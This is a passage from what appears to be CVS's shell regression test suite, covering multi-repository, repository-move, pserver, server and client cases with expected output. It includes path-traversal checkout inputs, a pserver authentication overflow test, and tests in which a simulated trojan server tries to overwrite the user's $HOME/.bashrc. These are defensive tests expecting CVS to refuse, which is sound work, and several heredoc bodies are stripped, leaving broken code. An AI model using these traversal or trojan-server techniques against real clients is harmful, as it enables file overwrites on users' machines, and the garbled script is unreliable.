names:\n\tcattle: 1\\.2\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nactually\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nis\n=============================================================================\n${PROG} log: Logging mod1-2\n${PROG} log: Logging mod1-2/mod2-2\n\nRCS file: ${CVSROOT2_DIRNAME}/mod2-2/anotherfile2-2,v\nWorking file: mod1-2/mod2-2/anotherfile2-2\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nreading\n=============================================================================\n\nRCS file: ${CVSROOT2_DIRNAME}/mod2-2/file2-2,v\nWorking file: mod1-2/mod2-2/file2-2\nhead: 1\\.2\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tcattle: 1\\.2\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nactually\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nanyone\n=============================================================================\n${PROG} log: Logging mod2-1\n\nRCS file: ${CVSROOT2_DIRNAME}/mod2-1/anotherfile2-1,v\nWorking file: mod2-1/anotherfile2-1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nreading\n=============================================================================\n\nRCS file: ${CVSROOT2_DIRNAME}/mod2-1/file2-1,v\nWorking file: mod2-1/file2-1\nhead: 1\\.2\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tcattle: 1\\.2\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nactually\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nanyone\n=============================================================================\n${PROG} log: Logging mod2-2\n\nRCS file: ${CVSROOT2_DIRNAME}/mod2-2/anotherfile2-2,v\nWorking file: mod2-2/anotherfile2-2\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nreading\n=============================================================================\n\nRCS file: ${CVSROOT2_DIRNAME}/mod2-2/file2-2,v\nWorking file: mod2-2/file2-2\nhead: 1\\.2\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tcattle: 1\\.2\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nactually\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nanyone\n=============================================================================\"\n\n\n\t # After the simple cases, let's execute some commands which\n\t # refer to parts of our checked-out tree (e.g. \"cvs update\n\t # mod1-1 mod2-2\")\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t # clean up after ourselves\n\t cd ..\n\t rm -r 1\n\n\t # clean up our repositories\n\t rm -rf root1 root2\n\t ;;\n\n\tmultiroot2)\n\t # More multiroot tests. In particular, nested directories.\n\n\t CVSROOT1_DIRNAME=${TESTDIR}/root1\n\t CVSROOT2_DIRNAME=${TESTDIR}/root2\n\t CVSROOT1=`newroot $CVSROOT1_DIRNAME`\n\t CVSROOT2=`newroot $CVSROOT2_DIRNAME`\n\n\t dotest multiroot2-1 \"$testcvs -d$CVSROOT1_DIRNAME init\"\n\t dotest multiroot2-2 \"$testcvs -d$CVSROOT2_DIRNAME init\"\n\n\t mkdir imp-dir; cd imp-dir\n\t echo file1 >file1\n\t mkdir sdir\n\t echo sfile >sdir/sfile\n\t mkdir sdir/ssdir\n\t echo ssfile >sdir/ssdir/ssfile\n\t dotest_sort multiroot2-3 \\\n\"${testcvs} -d ${CVSROOT1} import -m import-to-root1 dir1 vend rel\" \"\n\nN dir1/file1\nN dir1/sdir/sfile\nN dir1/sdir/ssdir/ssfile\nNo conflicts created by this import\n${PROG} import: Importing ${TESTDIR}/root1/dir1/sdir\n${PROG} import: Importing ${TESTDIR}/root1/dir1/sdir/ssdir\"\n\t cd sdir\n\t dotest_sort multiroot2-4 \\\n\"${testcvs} -d ${CVSROOT2} import -m import-to-root2 sdir vend2 rel2\" \"\n\nN sdir/sfile\nN sdir/ssdir/ssfile\nNo conflicts created by this import\n${PROG} import: Importing ${TESTDIR}/root2/sdir/ssdir\"\n\t cd ../..\n\n\t mkdir 1; cd 1\n\t # Get TopLevelAdmin-like behavior.\n\t dotest multiroot2-5 \"${testcvs} -d ${CVSROOT1} -q co -l .\"\n\t dotest multiroot2-5 \"${testcvs} -d ${CVSROOT1} -q co dir1\" \\\n\"U dir1/file1\nU dir1/sdir/sfile\nU dir1/sdir/ssdir/ssfile\"\n\t cd dir1\n\t dotest multiroot2-6 \"${testcvs} -Q release -d sdir\" \"\"\n\t dotest multiroot2-7 \"${testcvs} -d ${CVSROOT2} -q co sdir\" \\\n\"U sdir/sfile\nU sdir/ssdir/ssfile\"\n\t cd ..\n\t # This has one subtle effect - it deals with Entries.Log\n\t # so that the next test doesn't get trace messages for\n\t # Entries.Log\n\t dotest multiroot2-8 \"${testcvs} update\" \\\n\"${PROG} update: Updating \\.\n${PROG} update: Updating dir1\n${PROG} update: Updating dir1/sdir\n${PROG} update: Updating dir1/sdir/ssdir\" \\\n\"${PROG} update: Updating \\.\n${PROG} update: Updating dir1\n${PROG} update: Updating dir1\n${PROG} update: Updating dir1/sdir\n${PROG} update: Updating dir1/sdir/ssdir\"\n\t # Two reasons we don't run this on the server: (1) the server\n\t # also prints some trace messages, and (2) the server trace\n\t # messages are subject to out-of-order bugs (this one is hard\n\t # to work around).\n\t if $remote; then :; else\n\t dotest multiroot2-9a \"${testcvs} -t update\" \\\n\" *-> main loop with CVSROOT=${TESTDIR}/root1\n${PROG} update: Updating \\.\n *-> Reader_Lock(${TESTDIR}/root1)\n *-> Lock_Cleanup()\n${PROG} update: Updating dir1\n *-> Reader_Lock(${TESTDIR}/root1/dir1)\n *-> Lock_Cleanup()\n *-> main loop with CVSROOT=${TESTDIR}/root2\n${PROG} update: Updating dir1/sdir\n *-> Reader_Lock(${TESTDIR}/root2/sdir)\n *-> Lock_Cleanup()\n${PROG} update: Updating dir1/sdir/ssdir\n *-> Reader_Lock(${TESTDIR}/root2/sdir/ssdir)\n *-> Lock_Cleanup()\n *-> Lock_Cleanup()\"\n\t fi\n\n\t dotest multiroot2-9 \"${testcvs} -q tag tag1\" \\\n\"T dir1/file1\nT dir1/sdir/sfile\nT dir1/sdir/ssdir/ssfile\"\n\t echo \"change it\" >>dir1/file1\n\t echo \"change him too\" >>dir1/sdir/sfile\n\t dotest multiroot2-10 \"${testcvs} -q ci -m modify\" \\\n\"Checking in dir1/file1;\n${TESTDIR}/root1/dir1/file1,v <-- file1\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\nChecking in dir1/sdir/sfile;\n${TESTDIR}/root2/sdir/sfile,v <-- sfile\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t dotest multiroot2-11 \"${testcvs} -q tag tag2\" \\\n\"T dir1/file1\nT dir1/sdir/sfile\nT dir1/sdir/ssdir/ssfile\"\n\t dotest_fail multiroot2-12 \\\n\"${testcvs} -q diff -u -r tag1 -r tag2\" \\\n\"Index: dir1/file1\n===================================================================\nRCS file: ${TESTDIR}/root1/dir1/file1,v\nretrieving revision 1\\.1\\.1\\.1\nretrieving revision 1\\.2\ndiff -u -r1\\.1\\.1\\.1 -r1\\.2\n--- dir1/file1\t${RFCDATE}\t1\\.1\\.1\\.1\n${PLUS}${PLUS}${PLUS} dir1/file1\t${RFCDATE}\t1\\.2\n@@ -1 ${PLUS}1,2 @@\n file1\n${PLUS}change it\nIndex: dir1/sdir/sfile\n===================================================================\nRCS file: ${TESTDIR}/root2/sdir/sfile,v\nretrieving revision 1\\.1\\.1\\.1\nretrieving revision 1\\.2\ndiff -u -r1\\.1\\.1\\.1 -r1\\.2\n--- dir1/sdir/sfile\t${RFCDATE}\t1\\.1\\.1\\.1\n${PLUS}${PLUS}${PLUS} dir1/sdir/sfile\t${RFCDATE}\t1\\.2\n@@ -1 ${PLUS}1,2 @@\n sfile\n${PLUS}change him too\"\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t # clean up after ourselves\n\t cd ..\n\t rm -r imp-dir 1\n\n\t # clean up our repositories\n\t rm -rf root1 root2\n\t ;;\n\n\tmultiroot3)\n\t # More multiroot tests. Directories are side-by-side, not nested.\n\t # Not drastically different from multiroot but it covers somewhat\n\t # different stuff.\n\n\t CVSROOT1=`newroot ${TESTDIR}/root1`\n\t CVSROOT2=`newroot ${TESTDIR}/root2`\n\n\t mkdir 1; cd 1\n\t dotest multiroot3-1 \"$testcvs -d$TESTDIR/root1 init\"\n\t dotest multiroot3-2 \"${testcvs} -d ${CVSROOT1} -q co -l .\" \"\"\n\t mkdir dir1\n\t dotest multiroot3-3 \"${testcvs} add dir1\" \\\n\"Directory ${TESTDIR}/root1/dir1 added to the repository\"\n\t dotest multiroot3-4 \"$testcvs -d$TESTDIR/root2 init\"\n\t rm -r CVS\n\t dotest multiroot3-5 \"${testcvs} -d ${CVSROOT2} -q co -l .\" \"\"\n\t mkdir dir2\n\n\t # OK, the problem is that CVS/Entries doesn't look quite right,\n\t # I suppose because of the \"rm -r\".\n\t # For local this fixes it up.\n\t dotest multiroot3-6 \"${testcvs} -d ${CVSROOT1} -q co dir1\" \"\"\n\t if $remote; then\n\t # For remote that doesn't do it. Use the quick and dirty fix.\n\t echo \"D/dir1////\" >CVS/Entries\n\t echo \"D/dir2////\" >>CVS/Entries\n\t fi\n\n\t dotest multiroot3-7 \"${testcvs} add dir2\" \\\n\"Directory ${TESTDIR}/root2/dir2 added to the repository\"\n\n\t touch dir1/file1 dir2/file2\n\t if $remote; then\n\t # Trying to add them both in one command doesn't work,\n\t # because add.c doesn't do multiroot (it doesn't use recurse.c).\n\t # Furthermore, it can't deal with the parent directory\n\t # having a different root from the child, hence the cd.\n\t cd dir1\n\t dotest multiroot3-8 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t cd ..\n\t dotest multiroot3-8a \"${testcvs} add dir2/file2\" \\\n\"${PROG} add: scheduling file .dir2/file2. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t else\n\t dotest multiroot3-8 \"${testcvs} add dir1/file1 dir2/file2\" \\\n\"${PROG} add: scheduling file .dir1/file1. for addition\n${PROG} add: scheduling file .dir2/file2. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t fi\n\n\t dotest multiroot3-9 \"${testcvs} -q ci -m add-them\" \\\n\"RCS file: ${TESTDIR}/root2/dir2/file2,v\ndone\nChecking in dir2/file2;\n${TESTDIR}/root2/dir2/file2,v <-- file2\ninitial revision: 1\\.1\ndone\nRCS file: ${TESTDIR}/root1/dir1/file1,v\ndone\nChecking in dir1/file1;\n${TESTDIR}/root1/dir1/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\n\t # That this is an error is good - we are asking CVS to do\n\t # something which doesn't make sense.\n\t dotest_fail multiroot3-10 \\\n\"${testcvs} -q -d ${CVSROOT1} diff dir1/file1 dir2/file2\" \\\n\"${PROG} diff: failed to create lock directory for .${TESTDIR}/root1/dir2' (${TESTDIR}/root1/dir2/#cvs.lock): No such file or directory\n${PROG} diff: failed to obtain dir lock in repository .${TESTDIR}/root1/dir2'\n${PROG} \\[diff aborted\\]: read lock failed - giving up\"\n\n\t # This one is supposed to work.\n\t dotest multiroot3-11 \"${testcvs} -q diff dir1/file1 dir2/file2\" \"\"\n\n\t # make sure we can't access across repositories\n\t mkdir 1a\n\t cd 1a\n\t dotest_fail multiroot3-12 \\\n\"$testcvs -d $CVSROOT1 -q co ../root2/dir2\" \\\n\"$PROG \\[checkout aborted\\]: up-level in module reference (\\`..') invalid: \\`\\.\\./root2/dir2'\\.\" \\\n\"$PROG \\[server aborted\\]: up-level in module reference (\\`..') invalid: \\`\\.\\./root2/dir2'\\.\n$PROG \\[checkout aborted\\]: end of file from server (consult above messages if any)\"\n\t dotest_fail multiroot3-13 \\\n\"$testcvs -d $CVSROOT2 -q co ../root1/dir1\" \\\n\"$PROG \\[checkout aborted\\]: up-level in module reference (\\`..') invalid: \\`\\.\\./root1/dir1'\\.\" \\\n\"$PROG \\[server aborted\\]: up-level in module reference (\\`..') invalid: \\`\\.\\./root1/dir1'\\.\n$PROG \\[checkout aborted\\]: end of file from server (consult above messages if any)\"\n\t dotest_fail multiroot3-14 \\\n\"$testcvs -d $CVSROOT1 -q co ./../root2/dir2\" \\\n\"$PROG \\[checkout aborted\\]: up-level in module reference (\\`..') invalid: \\`\\./\\.\\./root2/dir2'\\.\" \\\n\"$PROG \\[server aborted\\]: up-level in module reference (\\`..') invalid: \\`\\./\\.\\./root2/dir2'\\.\n$PROG \\[checkout aborted\\]: end of file from server (consult above messages if any)\"\n\t dotest_fail multiroot3-15 \\\n\"$testcvs -d $CVSROOT2 -q co ./../root1/dir1\" \\\n\"$PROG \\[checkout aborted\\]: up-level in module reference (\\`..') invalid: \\`\\./\\.\\./root1/dir1'\\.\" \\\n\"$PROG \\[server aborted\\]: up-level in module reference (\\`..') invalid: \\`\\./\\.\\./root1/dir1'\\.\n$PROG \\[checkout aborted\\]: end of file from server (consult above messages if any)\"\n\t dotest_fail multiroot3-16 \\\n\"$testcvs -d $CVSROOT1 -q co -p ../root2/dir2\" \\\n\"$PROG \\[checkout aborted\\]: up-level in module reference (\\`..') invalid: \\`\\.\\./root2/dir2'\\.\" \\\n\"$PROG \\[server aborted\\]: up-level in module reference (\\`..') invalid: \\`\\.\\./root2/dir2'\\.\n$PROG \\[checkout aborted\\]: end of file from server (consult above messages if any)\"\n\t dotest_fail multiroot3-17 \\\n\"$testcvs -d $CVSROOT1 -q co -p ./../root1/dir1\" \\\n\"$PROG \\[checkout aborted\\]: up-level in module reference (\\`..') invalid: \\`\\./\\.\\./root1/dir1'\\.\" \\\n\"$PROG \\[server aborted\\]: up-level in module reference (\\`..') invalid: \\`\\./\\.\\./root1/dir1'\\.\n$PROG \\[checkout aborted\\]: end of file from server (consult above messages if any)\"\n\n\t if $keep; then\n\t echo Keeping $TESTDIR and exiting due to --keep\n\t exit 0\n\t fi\n\n\t cd ../..\n\n\t rm -r 1\n\t rm -rf ${TESTDIR}/root1 ${TESTDIR}/root2\n\t unset CVSROOT1\n\t unset CVSROOT2\n\t ;;\n\n\tmultiroot4)\n\t # More multiroot tests, in particular we have two roots with\n\t # similarly-named directories and we try to see that CVS can\n\t # keep them separate.\n\n\t CVSROOT1=`newroot ${TESTDIR}/root1`\n\t CVSROOT2=`newroot ${TESTDIR}/root2`\n\n\t mkdir 1; cd 1\n\t dotest multiroot4-1 \"$testcvs -d$TESTDIR/root1 init\"\n\t dotest multiroot4-2 \"${testcvs} -d ${CVSROOT1} -q co -l .\" \"\"\n\t mkdir dircom\n\t dotest multiroot4-3 \"${testcvs} add dircom\" \\\n\"Directory ${TESTDIR}/root1/dircom added to the repository\"\n\t cd dircom\n\t touch file1\n\t dotest multiroot4-4 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest multiroot4-5 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${TESTDIR}/root1/dircom/file1,v\ndone\nChecking in file1;\n${TESTDIR}/root1/dircom/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t cd ../..\n\t mkdir 2; cd 2\n\t dotest multiroot4-6 \"$testcvs -d$TESTDIR/root2 init\"\n\t dotest multiroot4-7 \"${testcvs} -d ${CVSROOT2} -q co -l .\" \"\"\n\t mkdir dircom\n\t dotest multiroot4-8 \"${testcvs} add dircom\" \\\n\"Directory ${TESTDIR}/root2/dircom added to the repository\"\n\t cd dircom\n\t touch file2\n\t dotest multiroot4-9 \"${testcvs} add file2\" \\\n\"${PROG} add: scheduling file .file2. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest multiroot4-10 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${TESTDIR}/root2/dircom/file2,v\ndone\nChecking in file2;\n${TESTDIR}/root2/dircom/file2,v <-- file2\ninitial revision: 1\\.1\ndone\"\n\n\t cd ../..\n\t cd 1/dircom\n\t # This may look contrived; the real world example which inspired\n\t # it was that a user was changing from local to remote. Cases\n\t # like switching servers (among those mounting the same\n\t # repository) and so on would also look the same.\n\t mkdir sdir2\n\t dotest multiroot4-11 \"${testcvs} -d ${CVSROOT2} add sdir2\" \\\n\"Directory ${TESTDIR}/root2/dircom/sdir2 added to the repository\"\n\n\t dotest multiroot4-12 \"${testcvs} -q update\" \"\"\n\t cd ..\n\t dotest multiroot4-13 \"${testcvs} -q update dircom\" \"\"\n\t cd ..\n\n\t rm -r 1 2\n\t rm -rf ${TESTDIR}/root1 ${TESTDIR}/root2\n\t unset CVSROOT1\n\t unset CVSROOT2\n\t ;;\n\n\trmroot)\n\t # When the Entries/Root file is removed from an existing\n\t # workspace, CVS should assume $CVSROOT instead\n\t #\n\t # Right now only checking that CVS exits normally on an\n\t # update once CVS/Root is deleted\n\t #\n\t # There was a time when this would core dump when run in\n\t # client/server mode\n\n\t mkdir 1; cd 1\n\t dotest rmroot-setup-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest rmroot-setup-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n cd first-dir\n\t touch file1 file2\n\t dotest rmroot-setup-3 \"${testcvs} add file1 file2\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: scheduling file .file2. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t dotest rmroot-setup-4 \"${testcvs} -q commit -minit\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\ninitial revision: 1\\.1\ndone\"\n\t rm CVS/Root\n\t dotest rmroot-1 \"${testcvs} -q update\" ''\n\n\t cd ../..\n\t rm -rf 1\n\t ;;\n\n\treposmv)\n\t # More tests of repositories and specifying them.\n\t # Similar to crerepos but that test is probably getting big\n\t # enough.\n\t CVSROOT1=`newroot ${TESTDIR}/root1`\n\t CVSROOT_MOVED=`newroot ${TESTDIR}/root-moved`\n\n\t dotest reposmv-setup-1 \"$testcvs -d$TESTDIR/root1 init\"\n\t mkdir imp-dir; cd imp-dir\n\t echo file1 >file1\n\t dotest reposmv-setup-2 \\\n\"${testcvs} -d ${CVSROOT1} import -m add dir1 vendor release\" \\\n\"N dir1/file1\n\nNo conflicts created by this import\"\n\t cd ..\n\n\t mkdir 1; cd 1\n\t dotest reposmv-1 \"${testcvs} -d ${CVSROOT1} -Q co dir1\" \"\"\n\t mv ${TESTDIR}/root1 ${TESTDIR}/root-moved\n\t cd dir1\n\n\t # If we didn't have a relative repository, get one now.\n\t dotest reposmv-1a \"cat CVS/Repository\" \\\n\"${TESTDIR}/root1/dir1\" \"dir1\"\n\t echo dir1 >CVS/Repository\n\n\t # There were some duplicated warnings and such; only test\n\t # for the part of the error message which makes sense.\n\t # Bug: \"skipping directory \" without filename.\n\t if $remote; then\n\t dotest_fail reposmv-2r \"${testcvs} update\" \\\n\"Cannot access ${TESTDIR}/root1/CVSROOT\nNo such file or directory\"\n\t else\n\t dotest reposmv-2 \"${testcvs} update\" \"${DOTSTAR}\n${PROG} update: ignoring CVS/Root because it specifies a non-existent repository ${TESTDIR}/root1\n${PROG} update: cannot open directory ${CVSROOT_DIRNAME}/dir1: No such file or directory\n${PROG} update: skipping directory \"\n\t fi\n\n\t # CVS/Root overrides $CVSROOT\n\t if $remote; then\n\t CVSROOT_save=${CVSROOT}\n\t CVSROOT=:fork:${TESTDIR}/root-moved; export CVSROOT\n\t dotest_fail reposmv-3r \"${testcvs} update\" \\\n\"Cannot access ${TESTDIR}/root1/CVSROOT\nNo such file or directory\"\n\t CVSROOT=${CVSROOT_save}; export CVSROOT\n\t else\n\t CVSROOT_save=${CVSROOT}\n\t CVSROOT=${TESTDIR}/root-moved; export CVSROOT\n\t dotest reposmv-3 \"${testcvs} update\" \\\n\"${DOTSTAR}\n${PROG} update: ignoring CVS/Root because it specifies a non-existent repository ${TESTDIR}/root1\n${PROG} update: Updating \\.\n${DOTSTAR}\"\n\t CVSROOT=${CVSROOT_save}; export CVSROOT\n\t fi\n\n\t if $remote; then\n\t CVSROOT_save=${CVSROOT}\n\t CVSROOT=:fork:${TESTDIR}/root-none; export CVSROOT\n\t dotest_fail reposmv-4 \"${testcvs} update\" \\\n\"Cannot access ${TESTDIR}/root1/CVSROOT\nNo such file or directory\"\n\t CVSROOT=${CVSROOT_save}; export CVSROOT\n\t else\n\t # CVS/Root doesn't seem to quite completely override $CVSROOT\n\t # Bug? Not necessarily a big deal if it only affects error\n\t # messages.\n\t CVSROOT_save=${CVSROOT}\n\t CVSROOT=${TESTDIR}/root-none; export CVSROOT\n\t dotest_fail reposmv-4 \"${testcvs} update\" \\\n\"${PROG} update: in directory \\.:\n${PROG} update: ignoring CVS/Root because it specifies a non-existent repository ${TESTDIR}/root1\n${PROG} \\[update aborted\\]: ${TESTDIR}/root-none/CVSROOT: No such file or directory\"\n\t CVSROOT=${CVSROOT_save}; export CVSROOT\n\t fi\n\n\t # -d overrides CVS/Root\n\t # \n\t # Oddly enough, with CVS 1.10 I think this didn't work for\n\t # local (that is, it would appear that CVS/Root would not\n\t # get used, but would produce an error if it didn't exist).\n\t dotest reposmv-5 \"${testcvs} -d ${CVSROOT_MOVED} update\" \\\n\"${PROG} update: Updating \\.\"\n\n\t # TODO: could also test various other things, like what if the\n\t # user removes CVS/Root (which is legit). Or another set of\n\t # tests would be if both repositories exist but we want to make\n\t # sure that CVS is using the correct one.\n\n\t cd ../..\n\t rm -r imp-dir 1\n\t rm -rf root1 root2\n\t unset CVSROOT1\n\t ;;\n\n\tpserver)\n\t # Test basic pserver functionality.\n\t if $remote; then\n \t # First set SystemAuth=no. Not really necessary, I don't\n\t # think, but somehow it seems like the clean thing for\n\t # the testsuite.\n\t mkdir 1; cd 1\n\t dotest pserver-1 \"${testcvs} -Q co CVSROOT\" \"\"\n\t cd CVSROOT\n\t echo \"SystemAuth=no\" >config\n\t dotest pserver-2 \"${testcvs} -q ci -m config-it\" \\\n\"Checking in config;\n${CVSROOT_DIRNAME}/CVSROOT/config,v <-- config\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cat >${CVSROOT_DIRNAME}/CVSROOT/passwd <garbageseg\n\t echo \"BEGIN AUTH REQUEST\" >garbageinput\n\t i=0\n\t while test $i -lt 64; do\n\t cat >garbageseg2\n\t i=`expr $i + 1`\n\t done\n\t i=0\n\t while test $i -lt 64; do\n\t cat >garbageinput\n\t i=`expr $i + 1`\n\t done\n\t dotest_fail pserver-auth-no-dos \\\n\"${testcvs} --allow-root=${CVSROOT_DIRNAME} pserver\" \\\n\"${PROG} \\\\[pserver aborted\\\\]: Maximum line length exceeded during authentication\\.\" onethen\nEND AUTH REQUEST\nEOF\n\n # Test failure of whitespace password\n\t dotest_fail pserver-13 \"${testcvs} --allow-root=${CVSROOT_DIRNAME} pserver\" \\\n\"${DOTSTAR} HATE YOU\" <${CVSROOT_DIRNAME}/CVSROOT/readers <${CVSROOT_DIRNAME}/CVSROOT/writers <config\n\t dotest pserver-cleanup-1 \"${testcvs} -q ci -m config-it\" \\\n\"Checking in config;\n${CVSROOT_DIRNAME}/CVSROOT/config,v <-- config\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ../..\n\t rm -r 1\n\t rm ${CVSROOT_DIRNAME}/CVSROOT/passwd ${CVSROOT_DIRNAME}/CVSROOT/writers\n\t fi # skip the whole thing for local\n\t ;;\n\n\tserver)\n\t # Some tests of the server (independent of the client).\n\t if $remote; then\n\t dotest server-1 \"${testcvs} server\" \\\n\"E Protocol error: Root request missing\nerror \" <gzipped.dat\n\t # Note that the CVS client sends \"-b 1.1.1\", and this\n\t # test doesn't. But the server also defaults to that.\n\t cat <session.dat\nRoot ${TESTDIR}/crerepos\nUseUnchanged\ngzip-file-contents 3\nArgument -m\nArgument msg\nArgumentx \nArgument dir1\nArgument tag1\nArgument tag2\nDirectory .\n${TESTDIR}/crerepos\nModified file1\nu=rw,g=r,o=r\nz25\nEOF\n\t cat gzipped.dat >>session.dat\n\t echo import >>session.dat\n\t dotest server-4 \"${testcvs} server\" \\\n\"M N dir1/file1\nM \nM No conflicts created by this import\nM \nok\" ${TESTDIR}/serveme </dev/null\nEOF\n\t # Cygwin. Pthffffffffft!\n\t if test -n \"$remotehost\"; then\n\t $CVS_RSH $remotehost \"chmod +x ${TESTDIR}/serveme\"\n\t else\n\t chmod +x ${TESTDIR}/serveme\n\t fi\n\t save_CVS_SERVER=$CVS_SERVER\n\t CVS_SERVER=${TESTDIR}/serveme; export CVS_SERVER\n\t mkdir 1; cd 1\n\t dotest_fail client-1 \"${testcvs} -q co first-dir\" \\\n\"${PROG} \\[checkout aborted\\]: This server does not support the global -q option${DOTSTAR}\"\n\t dotest client-2 \"${testcvs} co first-dir\" \"special message\"\n\n\t cat >${TESTDIR}/serveme </dev/null\nEOF\n\t cd first-dir\n\t mkdir ${TESTDIR}/bogus\n\t # The ${DOTSTAR} is to match a potential \"broken pipe\" if the\n\t # client exits before the server script sends everything\n\t dotest_fail client-3 \"${testcvs} update\" \"merge-it\n${PROG} \\[update aborted\\]: protocol error: Copy-file tried to specify director${DOTSTAR}\"\n\t cat >${TESTDIR}/serveme </dev/null\nEOF\n\t dotest client-4 \"${testcvs} update\" \"merge-it\"\n\t dotest client-5 \"cat .#file1.1.1\" \"xyz\"\n\t dotest client-6 \"cat CVS/Entries\" \"/file1/1.2/[A-Za-z0-9 :]*//\nD\"\n\t dotest client-7 \"cat file1\" \"abc\"\n\n\t cat >${TESTDIR}/serveme <${TESTDIR}/client.tmp\nEOF\n\t chmod u=rw,go= file1\n\t # By specifying the time zone in local time, we don't\n\t # know exactly how that will translate to GMT.\n\t dotest client-8 \"${testcvs} update -D 99-10-04\" \"OK, whatever\"\n\t # String 2 below is Cygwin again - ptoooey.\n\t dotest client-9 \"cat ${TESTDIR}/client.tmp\" \\\n\"Root ${CVSROOT_DIRNAME}\nValid-responses [-a-zA-Z ]*\nvalid-requests\nArgument -D\nArgument [34] Oct 1999 [0-9][0-9]:00:00 -0000\nArgument --\nDirectory \\.\n${CVSROOT_DIRNAME}/first-dir\nEntry /file1/1\\.2///\nModified file1\nu=rw,g=,o=\n4\nabc\nupdate\" \\\n\"Root ${CVSROOT_DIRNAME}\nValid-responses [-a-zA-Z ]*\nvalid-requests\nArgument -D\nArgument [34] Oct 1999 [0-9][0-9]:00:00 -0000\nArgument --\nDirectory \\.\n${CVSROOT_DIRNAME}/first-dir\nEntry /file1/1\\.2///\nModified file1\nu=rw,g=r,o=r\n4\nabc\nupdate\"\n\n\t # The following test tests what was a potential client update in\n\t # CVS versions 1.11.14 and CVS versions 1.12.6 and earlier. This\n\t # exploit would allow a trojan server to create arbitrary files,\n\t # anywhere the user had write permissions, even outside of the\n\t # user's sandbox.\n\t cat >$HOME/.bashrc <$TESTDIR/serveme </dev/null\nEOF\n\t \n\t # If I don't run the following sleep between the above cat and\n\t # the following calls to dotest, sometimes the serveme file isn't\n\t # completely written yet by the time CVS tries to execute it,\n\t # causing the shell to intermittantly report syntax errors (usually\n\t # early EOF). There's probably a new race condition here, but this\n\t # works.\n\t #\n\t # Incidentally, I can reproduce this behavior with Linux 2.4.20 and\n\t # Bash 2.05 or Bash 2.05b.\n\t sleep 1\n\t dotest_fail client-10 \"$testcvs update\" \\\n\"$PROG update: Server attempted to update a file via an invalid pathname:\n$PROG \\[update aborted\\]: \\`$HOME/.bashrc'\\.\"\n\n\t # A second try at a client exploit. This one never actually\n\t # failed in the past, but I thought it wouldn't hurt to add a test.\n\t cat >$TESTDIR/serveme </dev/null\nEOF\n\t sleep 1\n\t dotest_fail client-11 \"$testcvs update\" \\\n\"$PROG \\[update aborted\\]: patch original file \\./\\.bashrc does not exist\"\n\n\t # A third try at a client exploit. This one did used to fail like\n\t # client-10.\n\t cat >$TESTDIR/serveme </dev/null\nEOF\n\t sleep 1\n\t dotest_fail client-12 \"$testcvs update\" 